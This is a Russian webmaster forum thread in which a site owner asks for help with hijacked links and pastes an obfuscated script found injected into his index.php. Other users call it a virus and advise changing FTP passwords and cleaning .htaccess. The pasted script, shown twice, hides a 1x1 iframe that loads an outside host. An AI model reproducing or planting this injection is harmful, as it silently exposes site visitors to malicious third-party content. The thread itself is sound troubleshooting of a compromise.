На сайте подменяются ссылки

12 3
A1
На сайте с 07.11.2009
Offline
1
2480

Здравствуйте!

У меня такая проблема: На моем сайте при переходе по ссылкам открываются совсем другие адреса, началось все где то 2 недели назад, ничего подобного не встречал никогда. Похоже на какой то js не могу отследить его, может кто поможет. Хотя при направлении на ссылку внизу показана нормальная ссылка, но при нажатии попадаешь на другой сайт. Как с этим бороться? Уже всю голову сломал. Полностью снес сайт, заново поставил, но ничего не меняется. Прикрепляю скрипты и файл index.php, может поможете найти вредоносный код?

Заранее спасибо!

zip js.zip
zip index.zip
S
На сайте с 28.10.2005
Offline
319
#1

Сайт покажите

A1
На сайте с 07.11.2009
Offline
1
#2

просканировал все файлы антивирусом, там нет вирусов, а в index.php есть вот это, кто может сказать что это?

<script>function sYDozMLRL(qvQEVLNw){ var nuJAVCgu = document.getElementById('ylZGQIDm'); fff.op.replace("1030"); } 

document['w152r172i114t116120e'.replace(/[0-9]/g,'')]('<div id=lGeD style="visibility:hidden;display:none">%3Ciframe width%3D1 height%3D1 border%3D0 frameborder%3D0 src%3D%27http%3A%2F%2Freklamma.com%2Fin.cgi%3F9%27%3E%3C%2Fiframe%3E</div>');function BzvYwRZCN(wRRJB){ var LMxDDWU = document.getElementById('jPkA');var EbAmdZRGA=new Function("iofTqcr", "return 8078;"); }
document['w101r182i140t196132e'.replace(/[0-9]/g,'')](unescape(document.getElementById('lGeD').innerHTML));function VuWiCyzaHi(vhMFeMyy){ var ngaoL=new Function("kVnKkkmVkC", "return 186934;"); }
function etvSxMYGf(sZzx){ fff.op.replace("450"); }
function PZhEG(AiP){ fff.op.replace("1093");window.eval(); }
</script>

art1cool добавил 07.11.2009 в 14:47

semenov:
Сайт покажите

я щас файлы обратно после очередного удаления заливаю, но сайт вот здесь

S
На сайте с 28.10.2005
Offline
319
#3
art1cool:
просканировал все файлы антивирусом, там нет вирусов, а в index.php есть вот это, кто может сказать что это?

<script>function sYDozMLRL(qvQEVLNw){ var nuJAVCgu = document.getElementById('ylZGQIDm'); fff.op.replace("1030"); } 

document['w152r172i114t116120e'.replace(/[0-9]/g,'')]('<div id=lGeD style="visibility:hidden;display:none">%3Ciframe width%3D1 height%3D1 border%3D0 frameborder%3D0 src%3D%27http%3A%2F%2Freklamma.com%2Fin.cgi%3F9%27%3E%3C%2Fiframe%3E</div>');function BzvYwRZCN(wRRJB){ var LMxDDWU = document.getElementById('jPkA');var EbAmdZRGA=new Function("iofTqcr", "return 8078;"); }
document['w101r182i140t196132e'.replace(/[0-9]/g,'')](unescape(document.getElementById('lGeD').innerHTML));function VuWiCyzaHi(vhMFeMyy){ var ngaoL=new Function("kVnKkkmVkC", "return 186934;"); }
function etvSxMYGf(sZzx){ fff.op.replace("450"); }
function PZhEG(AiP){ fff.op.replace("1093");window.eval(); }
</script>


art1cool добавил 07.11.2009 в 14:47

я щас файлы обратно после очередного удаления заливаю, но сайт вот здесь

Код - вирусня

http://remmobile.ru/ - редиректит на другой сайт

A1
На сайте с 07.11.2009
Offline
1
#4
semenov:
Код - вирусня
http://remmobile.ru/ - редиректит на другой сайт

А не подскажете как победить?

S
На сайте с 28.10.2005
Offline
319
#5

содержимое .htaccess покажите

Alex Klo
На сайте с 15.06.2006
Offline
304
#6
art1cool:
А не подскажете как победить?

а что, вручную код из index.php не удалить? (скорее всего во всех подпапках и во всех файлах index.*)

Проверка и мониторинг позиций сайта ( http://www.topvisor.ru/?inv=1520 ) Продвигаю сайты http://climat-nw.ru/conditioner-installation/ http://www.aircom-spb.ru/service/montaj/
A1
На сайте с 07.11.2009
Offline
1
#7
Alex Klo:
а что, вручную код из index.php не удалить? (скорее всего во всех подпапках и во всех файлах index.*)

Да удалял я его оттуда, но он опять там появляется

A1
На сайте с 07.11.2009
Offline
1
#8
semenov:
содержимое .htaccess покажите

Во вложении

zip htaccess.zip
S
На сайте с 28.10.2005
Offline
319
#9

- Проверте свой комп на вирусню

- Поменяйте пароль FTP, в фаловом менеджере не сохраняйте

- .htaccess удалите, там сделано перенаправление

A1
На сайте с 07.11.2009
Offline
1
#10
semenov:
- Проверте свой комп на вирусню
- Поменяйте пароль FTP, в фаловом менеджере не сохраняйте
- .htaccess удалите, там сделано перенаправление

Я все проверил, заново залил нормальный htacces, но после некоторого времени все это опять прописывается туда и во все index файлы

необходимо найти причину его появления

PS: Пароли на фтп поменял и сейчас заливаю все скрипты заново, как зальются проверю что получилось

12 3

Авторизуйтесь или зарегистрируйтесь, чтобы оставить комментарий